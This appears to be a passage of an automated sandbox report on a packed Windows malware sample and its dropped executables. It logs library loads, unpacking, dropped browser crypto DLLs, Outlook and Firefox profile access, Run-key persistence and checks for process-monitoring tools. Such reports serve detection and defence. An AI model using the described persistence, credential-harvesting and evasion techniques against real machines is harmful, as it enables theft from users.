Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.casiwid:R;.mufu:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Unpacked PE file: 6.2.RoamingKJEGDBKFIJ.exe.a80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nvdlapfi:EW;gasiylgr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nvdlapfi:EW;gasiylgr:EW;.taggant:EW;
Source: C:\Users\userIJKFHIIEHI.exe	Unpacked PE file: 9.2.userIJKFHIIEHI.exe.570000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yhecmkmx:EW;vkijaizt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yhecmkmx:EW;vkijaizt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 13.2.explorti.exe.8b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nvdlapfi:EW;gasiylgr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nvdlapfi:EW;gasiylgr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 14.2.explorti.exe.8b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nvdlapfi:EW;gasiylgr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nvdlapfi:EW;gasiylgr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 15.2.axplong.exe.6b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yhecmkmx:EW;vkijaizt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yhecmkmx:EW;vkijaizt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Unpacked PE file: 16.2.659e6df34d.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.casiwid:R;.mufu:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Unpacked PE file: 20.2.7bfd2dfdc1.exe.730000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:R;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:R;Unknown_Section6:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Unpacked PE file: 21.2.659e6df34d.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.casiwid:R;.mufu:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Unpacked PE file: 25.2.7bfd2dfdc1.exe.730000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:R;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:R;Unknown_Section6:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 31.2.axplong.exe.6b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yhecmkmx:EW;vkijaizt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yhecmkmx:EW;vkijaizt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 32.2.explorti.exe.8b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nvdlapfi:EW;gasiylgr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nvdlapfi:EW;gasiylgr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Unpacked PE file: 33.2.659e6df34d.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.casiwid:R;.mufu:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Unpacked PE file: 16.2.659e6df34d.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Unpacked PE file: 21.2.659e6df34d.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Unpacked PE file: 33.2.659e6df34d.exe.400000.0.unpack

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004195E0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: explorti.exe.6.dr	Static PE information: real checksum: 0x1dc676 should be: 0x1dd992
Source: axplong.exe.9.dr	Static PE information: real checksum: 0x1da37d should be: 0x1e570e
Source: RoamingKJEGDBKFIJ.exe.0.dr	Static PE information: real checksum: 0x1dc676 should be: 0x1dd992
Source: userIJKFHIIEHI.exe.0.dr	Static PE information: real checksum: 0x1da37d should be: 0x1e570e

Source: file.exe	Static PE information: section name: .casiwid
Source: file.exe	Static PE information: section name: .mufu
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: RoamingKJEGDBKFIJ.exe.0.dr	Static PE information: section name:
Source: RoamingKJEGDBKFIJ.exe.0.dr	Static PE information: section name: .idata
Source: RoamingKJEGDBKFIJ.exe.0.dr	Static PE information: section name:
Source: RoamingKJEGDBKFIJ.exe.0.dr	Static PE information: section name: nvdlapfi
Source: RoamingKJEGDBKFIJ.exe.0.dr	Static PE information: section name: gasiylgr
Source: RoamingKJEGDBKFIJ.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name: .casiwid
Source: random[1].exe.0.dr	Static PE information: section name: .mufu
Source: userIJKFHIIEHI.exe.0.dr	Static PE information: section name:
Source: userIJKFHIIEHI.exe.0.dr	Static PE information: section name: .idata
Source: userIJKFHIIEHI.exe.0.dr	Static PE information: section name:
Source: userIJKFHIIEHI.exe.0.dr	Static PE information: section name: yhecmkmx
Source: userIJKFHIIEHI.exe.0.dr	Static PE information: section name: vkijaizt
Source: userIJKFHIIEHI.exe.0.dr	Static PE information: section name: .taggant
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: .idata
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: nvdlapfi
Source: explorti.exe.6.dr	Static PE information: section name: gasiylgr
Source: explorti.exe.6.dr	Static PE information: section name: .taggant
Source: axplong.exe.9.dr	Static PE information: section name:
Source: axplong.exe.9.dr	Static PE information: section name: .idata
Source: axplong.exe.9.dr	Static PE information: section name:
Source: axplong.exe.9.dr	Static PE information: section name: yhecmkmx
Source: axplong.exe.9.dr	Static PE information: section name: vkijaizt
Source: axplong.exe.9.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A9F5 push ecx; ret		0_2_0041AA08
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3B536 push ecx; ret		0_2_6CA3B549

Source: file.exe	Static PE information: section name: .text entropy: 7.812950396957531
Source: RoamingKJEGDBKFIJ.exe.0.dr	Static PE information: section name: entropy: 7.976342116288205
Source: RoamingKJEGDBKFIJ.exe.0.dr	Static PE information: section name: nvdlapfi entropy: 7.954189821706308
Source: random[1].exe.0.dr	Static PE information: section name: .text entropy: 7.812950396957531
Source: userIJKFHIIEHI.exe.0.dr	Static PE information: section name: entropy: 7.983857475763977
Source: userIJKFHIIEHI.exe.0.dr	Static PE information: section name: yhecmkmx entropy: 7.954022030694419
Source: explorti.exe.6.dr	Static PE information: section name: entropy: 7.976342116288205
Source: explorti.exe.6.dr	Static PE information: section name: nvdlapfi entropy: 7.954189821706308
Source: axplong.exe.9.dr	Static PE information: section name: entropy: 7.983857475763977
Source: axplong.exe.9.dr	Static PE information: section name: yhecmkmx entropy: 7.954022030694419

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\userIJKFHIIEHI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\userIJKFHIIEHI.exe	File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 659e6df34d.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7bfd2dfdc1.exe

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
